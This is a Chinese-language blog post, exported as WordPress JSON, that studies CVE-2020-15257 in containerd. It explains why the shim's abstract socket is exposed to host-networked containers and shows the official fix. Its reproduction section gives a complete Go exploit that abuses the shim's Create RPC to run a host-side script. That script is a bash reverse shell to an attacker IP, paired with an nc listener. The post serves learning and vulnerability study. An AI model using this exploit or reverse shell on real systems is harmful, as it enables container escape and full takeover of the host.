{"id":341,"date":"2023-02-14T00:28:15","date_gmt":"2023-02-13T16:28:15","guid":{"rendered":"https:\/\/h4ckm310n.com\/?p=341"},"modified":"2023-07-04T15:59:05","modified_gmt":"2023-07-04T07:59:05","slug":"cve-2020-15257%e5%ad%a6%e4%b9%a0-%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"https:\/\/h4ckm310n.com\/?p=341","title":{"rendered":"CVE-2020-15257\u5b66\u4e60"},"content":{"rendered":"<p><!--more--><\/p>\n<h4>\u6f0f\u6d1e\u5206\u6790<\/h4>\n<p>CVE-2020-15257\u662f\u4e00\u4e2acontainerd\u6f0f\u6d1e\uff0c\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u8ba9\u5171\u4eab\u7f51\u7edc\u7684\u5bb9\u5668\u63a7\u5236containerd\u3002<\/p>\n<p>containerd\u901a\u8fc7containerd-shim\u6765\u63a7\u5236runc\uff0ccontainerd-shim\u63d0\u4f9b\u4e86\u5404\u79cdRPC API\uff0ccontainerd\u901a\u8fc7\u8fd9\u4e9bAPI\u6765\u5411containerd-shim\u53d1\u9001\u8bf7\u6c42\uff0c\u4ece\u800c\u5bf9\u5bb9\u5668\u8fdb\u884c\u7ba1\u7406\uff08\u4f8b\u5982\u521b\u5efa\u548c\u5220\u9664\u5bb9\u5668\uff09[1.1]\uff1a<\/p>\n<pre>service Shim {\r\n    rpc State(StateRequest) returns (StateResponse);\r\n    rpc Create(CreateTaskRequest) returns (CreateTaskResponse);\r\n    rpc Start(StartRequest) returns (StartResponse);\r\n    rpc Delete(google.protobuf.Empty) returns (DeleteResponse);\r\n    rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);\r\n    rpc ListPids(ListPidsRequest) returns (ListPidsResponse);\r\n    rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);\r\n    rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);\r\n    rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);\r\n    rpc Kill(KillRequest) returns (google.protobuf.Empty);\r\n    rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);\r\n    rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);\r\n    rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);\r\n    rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);\r\n    rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);\r\n    rpc Wait(WaitRequest) returns (WaitResponse);\r\n}\r\n<\/pre>\n<p>containerd-shim\u7684RPC socket\u662f\u201c\\x00\u201d\u5f00\u5934\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\u8fd9\u662f\u4e00\u4e2a\u62bd\u8c61socket\u800c\u4e0d\u662f\u4e00\u4e2a\u6587\u4ef6socket\uff0c\u62bd\u8c61socket\u5e76\u4e0d\u53d7\u5230mount namespace\u7684\u9694\u79bb\uff0c\u53ea\u53d7\u5230network namespace\u7684\u9694\u79bb[1.2]\u3002<\/p>\n<pre>func newSocket(address string) (*net.UnixListener, error) {\r\n    if len(address) &gt; 106 {\r\n        return nil, errors.Errorf(\"%q: unix socket path too long (&gt; 106)\", address)\r\n    }\r\n    l, err := net.Listen(\"unix\", \"\\x00\"+address)\r\n    if err != nil {\r\n        return nil, errors.Wrapf(err, \"failed to listen to abstract unix socket %q\", address)\r\n    }\r\n\r\n    return l.(*net.UnixListener), nil\r\n}\r\n<\/pre>\n<p>\u8fd9\u610f\u5473\u7740\uff0c\u5f53\u5bb9\u5668\u4e0e\u5bbf\u4e3b\u5171\u4eab\u7f51\u7edc\u7684\u65f6\u5019\uff08Docker\u4e2d\u7684\u201c&#8211;net=host\u201d\u53c2\u6570\uff09\uff0c\u8fd9\u4e2asocket\u540c\u6837\u4f1a\u66b4\u9732\u5728\u5bb9\u5668\u4e2d\uff0c\u800c\u5bb9\u5668\u4e2d\u7684\u8fdb\u7a0b\u53ef\u4ee5\u901a\u8fc7\u5411\u8fd9\u4e2asocket\u53d1\u9001\u8bf7\u6c42\u6765\u63a7\u5236\u5bbf\u4e3b\u7684containerd-shim\u3002<\/p>\n<h4>\u6f0f\u6d1e\u590d\u73b0<\/h4>\n<p>\u7cfb\u7edf\uff1aUbuntu 18.04<br \/>\nDocker\uff1a19.03.13<br \/>\ncontainerd\uff1a1.3.7<\/p>\n<p>\u9996\u5148\u521b\u5efa\u4e00\u4e2a\u4e0e\u5bbf\u4e3b\u5171\u4eab\u7f51\u7edc\u7684\u5bb9\u5668\uff1a<\/p>\n<pre>sudo docker run -it --name ubuntu --net=host ubuntu:18.04 \/bin\/bash\r\n<\/pre>\n<p>\u8fdb\u5165\u5bb9\u5668\u5206\u522b\u83b7\u53d6containerd-shim\u7684socket\u8def\u5f84\uff08\/containerd-shim\/xxx.sock\uff09\u3001\u5bb9\u5668\u7684ID\uff08\/docker\/xxx\u540e\u9762\u90a3\u4e32\uff09\u3001\u5bb9\u5668\u6839\u76ee\u5f55\u5728\u5bbf\u4e3b\u4e2d\u7684\u8def\u5f84\uff08upperdir=\/var\/lib\/docker\/overlay2\/xxx\/diff\uff09\u3002<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-342\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_containerd-shim_sock.png\" alt=\"\" width=\"2074\" height=\"110\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_containerd-shim_sock.png 2074w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_containerd-shim_sock-300x16.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_containerd-shim_sock-1024x54.png 1024w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_containerd-shim_sock-768x41.png 768w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_containerd-shim_sock-1536x81.png 1536w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_containerd-shim_sock-2048x109.png 2048w\" sizes=\"auto, (max-width: 2074px) 100vw, 2074px\" \/><br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-343\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_docker_id.png\" alt=\"\" width=\"1376\" height=\"480\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_docker_id.png 1376w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_docker_id-300x105.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_docker_id-1024x357.png 1024w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_docker_id-768x268.png 768w\" sizes=\"auto, (max-width: 1376px) 100vw, 1376px\" \/><br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-345\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_upperdir.png\" alt=\"\" width=\"2728\" height=\"106\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_upperdir.png 2728w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_upperdir-300x12.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_upperdir-1024x40.png 1024w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_upperdir-768x30.png 768w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_upperdir-1536x60.png 1536w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_upperdir-2048x80.png 2048w\" sizes=\"auto, (max-width: 2728px) 100vw, 2728px\" \/><\/p>\n<p>\u7f16\u5199exp\uff0c\u586b\u5165\u4e0a\u9762\u5f97\u5230\u7684\u5185\u5bb9\u5e76\u7f16\u8bd1\uff1a<\/p>\n<pre>package main\r\n\r\nimport (\r\n    \"context\"\r\n    \"net\"\r\n    \"github.com\/containerd\/ttrpc\"\r\n    shimapi \"github.com\/containerd\/containerd\/runtime\/v1\/shim\/v1\"\r\n)\r\n\r\nfunc main() {\r\n    sock := \"\/containerd-shim\/5839ead536d064225e761605be1345b36a3b6c6b7b1c098ff67289f157fc8bb8.sock\"\r\n\r\n    docker_id := \"340968a5fb669499bb01d1517f3ecaf064ec061f88b2290d0bdd17f3479b60da\"\r\n\r\n    diff := \"\/var\/lib\/docker\/overlay2\/97df8534e2ea655bbf917705531a0f2a9c1a5bdddbf13a0a7524aff616bd53d9\/diff\/\"\r\n\r\n    conn, _ := net.Dial(\"unix\", \"\\x00\"+sock)\r\n\r\n    client := ttrpc.NewClient(conn)\r\n    shimClient := shimapi.NewShimClient(client)\r\n\r\n    ctx := context.Background()\r\n    md := ttrpc.MD{} \r\n    md.Set(\"containerd-namespace-ttrpc\", \"notmoby\")\r\n    ctx = ttrpc.WithMetadata(ctx, md)\r\n\r\n    shimClient.Create(ctx, &amp;shimapi.CreateTaskRequest{\r\n        ID: docker_id,\r\n        Bundle: \"\/run\/containerd\/io.containerd.runtime.v1.linux\/moby\/\"+docker_id+\"\/config.json\",\r\n        Stdout: \"binary:\/\/\/bin\/sh?-c=\"+diff+\"shell\",\r\n    })\r\n}\r\n<\/pre>\n<p>\u5728\u6839\u76ee\u5f55\u521b\u5efa\u4e00\u4e2a\u7528\u4e8e\u89e6\u53d1\u7684shell\u6587\u4ef6\uff0c\u5185\u5bb9\u4e3a\u53cd\u5f39\u4e00\u4e2ashell\u523010.114.0.1\u6240\u5728\u7684\u673a\u5668\uff08\u653b\u51fb\u7aef\uff09\uff1a<\/p>\n<pre>#!\/bin\/bash\r\n\/bin\/bash -i &gt;&amp; \/dev\/tcp\/10.114.0.1\/1234 0&gt;&amp;1\r\n<\/pre>\n<p>\u8fdb\u516510.114.0.1\uff0c\u5f00\u542f\u76d1\u542c\uff1a<\/p>\n<pre>nc -lvp 1234\r\n<\/pre>\n<p>\u5728\u5bb9\u5668\u4e2d\u8fd0\u884cexp\uff0c\u56de\u5230\u653b\u51fb\u7aef\uff0c\u53ef\u4ee5\u770b\u5230\u6765\u81ea\u5bb9\u5668\u5bbf\u4e3b\u7684shell\uff1a<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-344\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_shell_rev.png\" alt=\"\" width=\"1672\" height=\"482\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_shell_rev.png 1672w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_shell_rev-300x86.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_shell_rev-1024x295.png 1024w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_shell_rev-768x221.png 768w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/15257_shell_rev-1536x443.png 1536w\" sizes=\"auto, (max-width: 1672px) 100vw, 1672px\" \/><\/p>\n<h4>\u5b98\u65b9\u4fee\u590d<\/h4>\n<p>\u5b98\u65b9\u7684\u4fee\u590d\u65b9\u6848\u662f\u628a\u539f\u672c\u7684\u62bd\u8c61socket\u66ff\u6362\u6210\u6587\u4ef6socket\uff0c\u8fd9\u6837\u8fd9\u4e2asocket\u5c31\u4f1a\u53d7\u5230mount namespace\u7684\u9694\u79bb[3.1]\u3002\u5f53\u7136\uff0c\u5728\u521b\u5efa\u5bb9\u5668\u7684\u65f6\u5019\u540c\u6837\u9700\u8981\u6ce8\u610f\u4e0d\u8981\u628a\u8fd9\u4e2asocket\u6587\u4ef6\u6302\u8f7d\u5230\u5bb9\u5668\u4e2d\u3002<\/p>\n<pre>func (b *bundle) shimAddress(namespace, socketPath string) string {\r\n    d := sha256.Sum256([]byte(filepath.Join(socketPath, namespace, b.id)))\r\n    return fmt.Sprintf(\"unix:\/\/%s\/%x\", filepath.Join(socketRoot, \"s\"), d)\r\n}\r\n<\/pre>\n<h4>\u53c2\u8003<\/h4>\n<p>[1.1] <a href=\"https:\/\/github.com\/containerd\/containerd\/blob\/v1.3.7\/runtime\/v1\/shim\/v1\/shim.proto#L18\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/containerd\/containerd\/blob\/v1.3.7\/runtime\/v1\/shim\/v1\/shim.proto#L18<\/a><br \/>\n[1.2] <a href=\"https:\/\/github.com\/containerd\/containerd\/blob\/v1.3.7\/runtime\/v1\/shim\/client\/client.go#L213\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/containerd\/containerd\/blob\/v1.3.7\/runtime\/v1\/shim\/client\/client.go#L213<\/a><br \/>\n[2.1] <a href=\"https:\/\/xz.aliyun.com\/t\/8925\" target=\"_blank\" rel=\"noopener\">https:\/\/xz.aliyun.com\/t\/8925<\/a><br \/>\n[3.1] <a href=\"https:\/\/github.com\/containerd\/containerd\/commit\/ea765aba0d05254012b0b9e595e995c09186427f\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/containerd\/containerd\/commit\/ea765aba0d05254012b0b9e595e995c09186427f<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[16,6],"tags":[],"class_list":["post-341","post","type-post","status-publish","format-standard","hentry","category-16","category-6"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false},"uagb_author_info":{"display_name":"h4ckm310n","author_link":"https:\/\/h4ckm310n.com\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":null,"_links":{"self":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/341","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=341"}],"version-history":[{"count":6,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/341\/revisions"}],"predecessor-version":[{"id":508,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/341\/revisions\/508"}],"wp:attachment":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=341"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=341"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=341"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}